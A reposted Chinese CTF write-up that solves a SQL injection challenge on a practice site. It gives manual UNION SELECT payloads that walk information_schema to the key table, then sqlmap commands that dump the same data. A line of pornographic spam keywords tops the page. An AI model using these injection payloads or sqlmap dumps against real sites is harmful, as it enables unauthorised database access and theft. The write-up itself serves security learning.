日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CTF 这个看起来有点简单

發布時間:2023/12/20 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 CTF 这个看起来有点简单 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

這個看起來有點簡單分值:10

  • 來源: 西普學院
  • 難度:易

很明顯。過年過節不送禮,送禮就送這個

格式:

解題鏈接: http://ctf5.shiyanbar.com/8/index.php?id=1


解法:

1.手工注入

?

id=1'

id=1 and 1=1

id=1 and 1=2????????????????????????? 判斷是sql注入

id=1 order by 2?????????????????????? 兩個字節

id=1?union?select 1,2?????????????? 回顯2

爆數據庫:

?and 1=2 union select 1,schema_name? from information_schema.schemata limit 0,2

???????????????? information_schema???? my_db

爆表:

and 1=2 union select 1,table_name from information_schema.tables where table_schema=0x6d795f6462 limit 0,2

?????????????????????????? news? ? ? ? ?? thiskey

爆字段:

and 1=2 union select 1,column_name from information_schema.columns where table_schema=0x6d795f6462 limit 0,3

??????????????????????????????? id ? ? ?? content?????????? k0y

爆內容:

and 1=2 union select 1,k0y from thiskey

key=> ????????? whati0MyD9ldump

sqlmap解法:

列 數據庫:

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs


列表:

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables


列字段:

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns
這個跑不出來。直接用下面的可以,但是需要知道k0y。

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump


得出結果,但是需要把1改為l,不知道為什么。




創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的CTF 这个看起来有点简单的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。